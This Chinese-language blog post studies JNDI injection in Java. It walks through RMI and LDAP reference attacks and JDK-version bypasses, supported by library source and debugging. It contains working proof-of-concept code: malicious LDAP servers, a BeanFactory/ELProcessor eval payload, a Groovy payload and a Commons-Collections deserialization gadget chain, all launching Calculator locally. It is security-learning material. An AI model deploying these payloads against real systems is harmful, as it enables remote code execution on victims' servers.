JNDI注入学习

 Von's Blog     2022-03-20   33559 words    & views

什么是JNDI

JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也即JNDI提供统一的客户端API,并由管理者将JNDI API映射为特定的命名服务目录服务,什么是命名服务和目录服务?

  • 命名服务:就是一种通过名称来查找实际对象的服务。比如RMI协议,可以通过名称来查找并调用具体的远程对象。再比如DNS协议,通过域名来查找具体的IP地址。
  • 目录服务:目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。由此,我们不仅可以根据名称去查找(Lookup)对象(并获取其对应属性),还可以根据属性值去搜索(Search)对象。例如,一个用户对象可能有用户名、密码、电子邮件地址和电话号码等属性,我们不仅可以根据其名称还可以根据号码来进行search得到对象。

JNDI的使用

可能看了上面的解释还是有点云里雾里的,我们直接来看实际的例子实践一下,看看JNDI与RMI的结合使用:

首先还是要定义一个远程接口:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIinterface extends Remote {
    String test() throws RemoteException;
}

然后RMI的服务端还是要开启(这里可以不把对象bind上,但是远程对象还是要创建,不创建的话进程会直接运行结束):

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server extends UnicastRemoteObject implements RMIinterface {

    protected Server() throws RemoteException {
    }

    @Override
    public String test() throws RemoteException {
        System.out.println("Server:Hello!");
        return "Hello!";
    }

    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        Server server = new Server();
        Registry registry = LocateRegistry.createRegistry(1098);
    }
}

然后新建一个JNDI服务端,可以看到这里其实用法和之前RMI很像,都有着如bind、rebind这样的方法。这里是通过初始化上下文环境,这个上下文环境为应用程序访问命名服务提供了必要的信息。然后将一个远程对象绑定到RMI服务上(这里其实也可以用bind方法,因为我们之前没有绑定远程对象)

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://localhost:1098/testobj",new Server());
    }
}

最后在JNDI客户端中实现远程调用,可以看到这里也和RMI的非常类似,都是使用lookup方法来查询相关的远程对象并进行调用

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        RMIinterface rmIinterface = (RMIinterface)initialContext.lookup("rmi://localhost:1098/testobj");
        rmIinterface.test();
    }
}

从上面的例子我们可以看到,JNDI其实只是相当于一个管理的API,真正的服务仍然是通过RMI实现的。实际上,JNDI对RMI的支持也是通过RMI那套去实现的,所以之前我们提到的那些针对RMI的攻击方法在这种场景下也是适用的。

JNDI注入

上面我们使用的initialContext.rebind("rmi://localhost:1098/testobj",new Server());实际上是在进行对对象的存储。

实际上JNDI中支持存储以下几种类型的对象:

其中RMI对象我们之前早已接触过,而serializable对象也不陌生,假如要是将serializable对象存储至JNDI服务中显然我们也可以实现Client和Server间的远程通信(这里会不会有反序列化漏洞?),但是有时要是序列化对象太大的话并不是Server所愿意看到的,这种情况下Reference应运而生。Reference对象实际上相当于一个封装,即告知对象的地址,类名称等信息来让JNDI服务重构一个完整的对象(听起来感觉有点像反序列化)

来看Reference的构造方法:

public Reference(String className, String factory, String factoryLocation) {
  this(className);
  classFactory = factory;
  classFactoryLocation = factoryLocation;
}

实际上来说,当我们改写代码为以下时:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JNDIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        Registry registry = LocateRegistry.createRegistry(1098);
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Evil", "Evil", "http://localhost:7777");
        initialContext.rebind("rmi://localhost:1098/testobj",reference);
    }
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        Object obj = initialContext.lookup("rmi://localhost:1098/testobj");
    }
}

在Server端我们不再绑定远程对象,而是绑定一个reference对象,当Client尝试从"rmi://localhost:1098/testobj"获取远程对象时,当在Client本地无法加载到classFactory时,会尝试从Reference对象的classFactoryLocation地址中加载Factory类并实例化(没错,会调用其无参构造方法),主要逻辑是lookup时会调用Naming.getObjectInstance

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{

    ObjectFactory factory;

    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
            environment);
    }

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

而这里面又调用了factory = getObjectFactoryFromReference(ref, f);,当中实现了对factory类的远程加载和实例化

static ObjectFactory getObjectFactoryFromReference(
  Reference ref, String factoryName)
  throws IllegalAccessException,
InstantiationException,
MalformedURLException {
  Class<?> clas = null;

  // Try to use current class loader
  try {
    clas = helper.loadClass(factoryName);
  } catch (ClassNotFoundException e) {
    // ignore and continue
    // e.printStackTrace();
  }
  // All other exceptions are passed up.

  // Not in class path; try to use codebase
  String codebase;
  if (clas == null &&
      (codebase = ref.getFactoryClassLocation()) != null) {
    try {
      clas = helper.loadClass(factoryName, codebase);
    } catch (ClassNotFoundException e) {
    }
  }

  return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

很显然这里有一个明显的漏洞,就是当Client中lookup的参数为入侵者可控时,无论是RMI服务器的地址,还是Reference中classFactoryLocation的地址都将是入侵者可控的,这就是JNDI注入,流程具体如下图所示:

img

LDAP绕过

JDK 6u141, JDK 7u131, JDK 8u121及之后的Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。

在低版本JDK_8u65下,在RegistryContext#decodeObject()方法会直接调用到NamingManager#getObjectInstance(),进而调用getObjectFactoryFromReference()方法来获取远程工厂类。

img

在高版本中的RegistryContext#decodeObject()方法则增加了对类型以及trustURLCodebase的检查。

img

那么这种情况下是否还有机会来进行JNDI注入呢,实际上,JDK中JNDI原生支持四种协议:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
  • DNS(域名转换协议)

在JDK8u121中,其他三种协议都进行了如RMI一般的修复,而对于ldap协议仍然可以继续被利用:

添加依赖:

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
    <scope>test</scope>
</dependency>

构建一个LDAP服务端:

package JNDI;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8000/#Evil";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

此时相当于LDAP服务是开在port1234端口,而Reference对象的classFactoryLocation才是”http://127.0.0.1:8000/#Evil”

因此对于受害者来说,其模拟为:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        Object obj = initialContext.lookup("ldap://localhost:1234/Evil");
    }
}

高版本JDK的绕过

遗憾的是,JDK 11.0.1、JDK 8u191、JDK7u201、JDK6u211起LDAP中的trustURLCodebase也变成了False

这种情况下我们再也没办法像以前那样直接可控lookup参数就可以进行JNDI注入了,但还是存在一些可能的绕过手段

使用本地的Reference Factory类

JDK8u191后现在我们没办法远程加载类了,那我们只能寻找倘若正常流程运行有没有可以触发漏洞的Factory类了,首先回顾下和getObjectFactoryFromReference中的实现

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

首先对于一个本地的Factory类,最好要是他的无参构造方法就可以被我们RCE(想🍑呢!这显然是不可能的),那么我们要使他继续往下面走,就必须使Factory类是实现了ObjectFactory接口的,当然了,还要求这个类不能只有有参构造方法,否则也不能顺利执行clas.newInstance() 再来看下得到factory之后的操作,在Naming.getObjectInstance中:

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
  return factory.getObjectInstance(ref, name, nameCtx,
                                   environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

得到factory后发现调用了factory的getObjectInstance方法并返回,所以Factory类还必须有getObjectInstance方法,所以我们目前的任务就是需要找到一个JDK内置的或者常见的类满足:

  1. 实现了ObjectFactory接口
  2. 不能仅有有参构造方法
  3. 有getObjectInstance方法
  4. getObjectInstance中有可以利用的点

这里最终找到的是org.apache.naming.factory.BeanFactory,该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。

来看下其getObjectInstance方法:

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
  throws NamingException {

  if (obj instanceof ResourceRef) {

    try {

      Reference ref = (Reference) obj;
      String beanClassName = ref.getClassName();
      Class<?> beanClass = null;
      ClassLoader tcl =
        Thread.currentThread().getContextClassLoader();
      if (tcl != null) {
        try {
          beanClass = tcl.loadClass(beanClassName);
        } catch(ClassNotFoundException e) {
        }
      } else {
        try {
          beanClass = Class.forName(beanClassName);
        } catch(ClassNotFoundException e) {
          e.printStackTrace();
        }
      }
      if (beanClass == null) {
        throw new NamingException
          ("Class not found: " + beanClassName);
      }

      BeanInfo bi = Introspector.getBeanInfo(beanClass);
      PropertyDescriptor[] pda = bi.getPropertyDescriptors();

      Object bean = beanClass.newInstance();

      /* Look for properties with explicitly configured setter */
      RefAddr ra = ref.get("forceString");
      Map<String, Method> forced = new HashMap<>();
      String value;

      if (ra != null) {
        value = (String)ra.getContent();
        Class<?> paramTypes[] = new Class[1];
        paramTypes[0] = String.class;
        String setterName;
        int index;

        /* Items are given as comma separated list */
        for (String param: value.split(",")) {
          param = param.trim();
          /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
          index = param.indexOf('=');
          if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
          } else {
            setterName = "set" +
              param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
              param.substring(1);
          }
          try {
            forced.put(param,
                       beanClass.getMethod(setterName, paramTypes));
          } catch (NoSuchMethodException|SecurityException ex) {
            throw new NamingException
              ("Forced String setter " + setterName +
               " not found for property " + param);
          }
        }
      }

      Enumeration<RefAddr> e = ref.getAll();

      while (e.hasMoreElements()) {

        ra = e.nextElement();
        String propName = ra.getType();

        if (propName.equals(Constants.FACTORY) ||
            propName.equals("scope") || propName.equals("auth") ||
            propName.equals("forceString") ||
            propName.equals("singleton")) {
          continue;
        }

        value = (String)ra.getContent();

        Object[] valueArray = new Object[1];

        /* Shortcut for properties with explicitly configured setter */
        Method method = forced.get(propName);
        if (method != null) {
          valueArray[0] = value;
          try {
            method.invoke(bean, valueArray);
          } catch (IllegalAccessException|
                   IllegalArgumentException|
                   InvocationTargetException ex) {
            throw new NamingException
              ("Forced String setter " + method.getName() +
               " threw exception for property " + propName);
          }
          continue;
        }

        int i = 0;
        for (i = 0; i<pda.length; i++) {

          if (pda[i].getName().equals(propName)) {

            Class<?> propType = pda[i].getPropertyType();

            if (propType.equals(String.class)) {
              valueArray[0] = value;
            } else if (propType.equals(Character.class)
                       || propType.equals(char.class)) {
              valueArray[0] =
                Character.valueOf(value.charAt(0));
            } else if (propType.equals(Byte.class)
                       || propType.equals(byte.class)) {
              valueArray[0] = Byte.valueOf(value);
            } else if (propType.equals(Short.class)
                       || propType.equals(short.class)) {
              valueArray[0] = Short.valueOf(value);
            } else if (propType.equals(Integer.class)
                       || propType.equals(int.class)) {
              valueArray[0] = Integer.valueOf(value);
            } else if (propType.equals(Long.class)
                       || propType.equals(long.class)) {
              valueArray[0] = Long.valueOf(value);
            } else if (propType.equals(Float.class)
                       || propType.equals(float.class)) {
              valueArray[0] = Float.valueOf(value);
            } else if (propType.equals(Double.class)
                       || propType.equals(double.class)) {
              valueArray[0] = Double.valueOf(value);
            } else if (propType.equals(Boolean.class)
                       || propType.equals(boolean.class)) {
              valueArray[0] = Boolean.valueOf(value);
            } else {
              throw new NamingException
                ("String conversion for property " + propName +
                 " of type '" + propType.getName() +
                 "' not available");
            }

            Method setProp = pda[i].getWriteMethod();
            if (setProp != null) {
              setProp.invoke(bean, valueArray);
            } else {
              throw new NamingException
                ("Write not allowed for property: "
                 + propName);
            }

            break;

          }

        }

        if (i == pda.length) {
          throw new NamingException
            ("No set method found for property: " + propName);
        }

      }

      return bean;

    } catch (java.beans.IntrospectionException ie) {
      NamingException ne = new NamingException(ie.getMessage());
      ne.setRootCause(ie);
      throw ne;
    } catch (java.lang.IllegalAccessException iae) {
      NamingException ne = new NamingException(iae.getMessage());
      ne.setRootCause(iae);
      throw ne;
    } catch (java.lang.InstantiationException ie2) {
      NamingException ne = new NamingException(ie2.getMessage());
      ne.setRootCause(ie2);
      throw ne;
    } catch (java.lang.reflect.InvocationTargetException ite) {
      Throwable cause = ite.getCause();
      if (cause instanceof ThreadDeath) {
        throw (ThreadDeath) cause;
      }
      if (cause instanceof VirtualMachineError) {
        throw (VirtualMachineError) cause;
      }
      NamingException ne = new NamingException(ite.getMessage());
      ne.setRootCause(ite);
      throw ne;
    }

  } else {
    return null;
  }

}

这次的流程相对复杂,我们结合POC正向调试一下:

InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
initialContext.bind("rmi://localhost:1097/Object",ref);

首先我们构造了ResourceRef对象(ResourceRef是Reference的子类)

public ResourceRef(String resourceClass, String description,
                   String scope, String auth, boolean singleton,
                   String factory, String factoryLocation) {
  super(resourceClass, factory, factoryLocation);
  StringRefAddr refAddr = null;
  if (description != null) {
    refAddr = new StringRefAddr(DESCRIPTION, description);
    add(refAddr);
  }
  if (scope != null) {
    refAddr = new StringRefAddr(SCOPE, scope);
    add(refAddr);
  }
  if (auth != null) {
    refAddr = new StringRefAddr(AUTH, auth);
    add(refAddr);
  }
  // singleton is a boolean so slightly different handling
  refAddr = new StringRefAddr(SINGLETON, Boolean.toString(singleton));
  add(refAddr);
}

这里又调用了父类的构造方法(也即Reference类的构造方法)

public Reference(String className, String factory, String factoryLocation) {
    this(className);
    classFactory = factory;
    classFactoryLocation = factoryLocation;
}

public Reference(String className) {
  this.className  = className;
  addrs = new Vector<>();
}

结合下可以发现,对于我们传入的ResourceRef对象,最终

ref.className = "javax.el.ELProcessor"
ref.singleton = true
ref.factory = "org.apache.naming.factory.BeanFactory"

我们来看其getObjectInstance方法,首先跟下可以发现其传入的object参数就是我们构建的ref(这部分就不跟了),然后首先判断了obj是否为ResourceRef类型,这也就是为什么我们构造的obj为ResourceRef的原因

image-20240328020235288

接下来的代码看得出是获取名为beanClassName的类的一个实例对象(通过.newInstance()调用其无参构造方法),getClassName方法为ClassName的getter方法,自然是得到其ClassNames属性也就是javax.el.ELProcessor,因此这里的bean为一个ELProcessor对象。

image-20240328020402124

接下来调用了ref的get方法

image-20240328021227781

public RefAddr get(String addrType) {
  int len = addrs.size();
  RefAddr addr;
  for (int i = 0; i < len; i++) {
    addr = addrs.elementAt(i);
    if (addr.getType().compareTo(addrType) == 0)
      return addr;
  }
  return null;
}

可以看到本质上是遍历addrs属性中的每个元素看其getType()的返回值是否等于”forceString”,那么addrs属性又是什么呢?

protected Vector<RefAddr> addrs = null;

可以看到本质上是一个RefAddr类型的Vector,来看下RefAddr又是什么:

protected RefAddr(String addrType) {
  this.addrType = addrType;
}

而POC中的ref.add(new StringRefAddr("forceString", "x=eval"));

StringRefAddr是RefAddr的子类:

public StringRefAddr(String addrType, String addr) {
  super(addrType);
  contents = addr;
}

所以本质上来说ref.add(new StringRefAddr("forceString", "x=eval"));是为ref的addrs属性(一个Vector)中添加了一个addrType属性为”forceString”,contents属性为”x=eval”的StringRefAddr.

显然,此时ra为我们构建的StringRefAddr,value为”x=eval”

image-20240328021227781

接下来以=分割param,这里不难看出在try语句中param为x,beanClass.getMethod(setterName, paramTypes)得到了ELProcessor的eval方法,值得注意的是这里的paramTypes是前面确定的,要求只能为String.Class,也就是说到这里我们事后诸葛亮反推一下,这里要求可以执行命令的方法,要求传参只能是一个String,再结合前面实例化类时强制调用的是无参构造方法,要满足这两个要求的命令执行手段其实很少。

image-20240328022639380

在这里的最后,forced哈希表推入了一个键为x,值为evil方法的键值对。

以下的代码其实就是在获取ref的addr对象并遍历,值得注意的是,当addr属性为特定类型时就跳过下面的处理进入下一个循环

而POC中ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));

新增了一个addrType属性为”x”,contents属性为"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\"的StringRefAddr,不在这些中,所以执行其getContent()方法得到命令语句,再从forced中取出键为”x”的值(也即eval方法),最终调用eval方法执行命令。

image-20240328023534423

至于其执行命令的语句,实际上是EL表达式,这部分我还没学习,等到以后学到EL表达式时再深入研究。不过我们也可以看到,在利用链中最关键的是要找到一个符合以下要求的利用类:

  • JDK或者常用库的类
  • 有public修饰的无参构造方法
  • public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞

除了我们上面利用的ELProcessor,一般还可以尝试利用GroovyClassLoader#parseClass来执行命令,核心POC变化为:

ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "open -a Calculator");
ref.add(new StringRefAddr("x",script));

此外,这篇文章中还探究了许多可用的利用类。

使用LDAP触发本地Gadget

当受害者本地存在可用的反序列化利用链时,可以用LDAP服务来触发反序列化:

这里我们还是根据POC进行正向调试:

//LDAP 服务
import com.unboundid.ldap.sdk.LDAPException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.unboundid.util.Base64;
import java.text.ParseException;
import java.util.HashMap;
import java.util.Map;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class JNDI_LDAP {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] args ) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = "Exploit";
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException, NoSuchFieldException, IllegalAccessException, ParseException {
            e.addAttribute("javaClassName", "foo");
            e.addAttribute("javaSerializedData", Base64.decode(ccbase64()));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
    private static String ccbase64() throws IOException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                                new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})});
        Map lazymap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
        HashMap<Object, Object> hashMapnew = new HashMap<>();
        TiedMapEntry mapentry = new TiedMapEntry(new HashMap<>(), 'a');
        hashMapnew.put(mapentry,'b');
        Field mapfield = TiedMapEntry.class.getDeclaredField("map");
        mapfield.setAccessible(true);
        mapfield.set(mapentry,lazymap);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMapnew);
        oos.flush();
        return Base64.encode(bos.toByteArray());
    }
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        RMIinterface rmIinterface = (RMIinterface)initialContext.lookup("ldap://127.0.0.1:1389/Exploit");
        rmIinterface.test();
    }
}

对lookup方法下断点,一路跟下来会发现来到了:

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
  var2.setError(this, var1);
  Object var3 = null;

  Object var4;
  try {
    SearchControls var22 = new SearchControls();
    var22.setSearchScope(0);
    var22.setReturningAttributes((String[])null);
    var22.setReturningObjFlag(true);
    LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
    this.respCtls = var23.resControls;
    if (var23.status != 0) {
      this.processReturnCode(var23, var1);
    }

    if (var23.entries != null && var23.entries.size() == 1) {
      LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
      var4 = var25.attributes;
      Vector var8 = var25.respCtls;
      if (var8 != null) {
        appendVector(this.respCtls, var8);
      }
    } else {
      var4 = new BasicAttributes(true);
    }

    if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
      var3 = Obj.decodeObject((Attributes)var4);
    }

    if (var3 == null) {
      var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
    }
  } catch (LdapReferralException var20) {
    LdapReferralException var5 = var20;
    if (this.handleReferrals == 2) {
      throw var2.fillInException(var20);
    }

    while(true) {
      LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);

      try {
        Object var7 = var6.lookup(var1);
        return var7;
      } catch (LdapReferralException var18) {
        var5 = var18;
      } finally {
        var6.close();
      }
    }
  } catch (NamingException var21) {
    throw var2.fillInException(var21);
  }

  try {
    return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
  } catch (NamingException var16) {
    throw var2.fillInException(var16);
  } catch (Exception var17) {
    NamingException var24 = new NamingException("problem generating object using object factory");
    var24.setRootCause(var17);
    throw var2.fillInException(var24);
  }
}

我们关注下:

image-20240328142550848

这里说假如var4的Obj.JAVA_ATTRIBUTES[2]不为null则会调用decodeObject处理var4,而JAVA_ATTRIBUTES[2]为javaClassName

这正是POC中要设置一个javaClassName属性的原因

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException, NoSuchFieldException, IllegalAccessException, ParseException {
  e.addAttribute("javaClassName", "foo");
  e.addAttribute("javaSerializedData", Base64.decode(ccbase64()));
  result.sendSearchEntry(e);
  result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

来看下decodeObject方法:

static Object decodeObject(Attributes var0) throws NamingException {
  String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

  try {
    Attribute var1;
    if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
      ClassLoader var3 = helper.getURLClassLoader(var2);
      return deserializeObject((byte[])((byte[])var1.get()), var3);
    } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
      return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
    } else {
      var1 = var0.get(JAVA_ATTRIBUTES[0]);
      return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
    }
  } catch (IOException var5) {
    NamingException var4 = new NamingException();
    var4.setRootCause(var5);
    throw var4;
  }
}

这里判断了我们传入的obj是否有JAVA_ATTRIBUTES[1]的键,假如有的话就对其值调用deserializeObject方法,而

JAVA_ATTRIBUTES[1]正对应了POC中的javaSerializedData,接下来来看下deserializeObject方法:

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
  try {
    ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

    try {
      Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1);
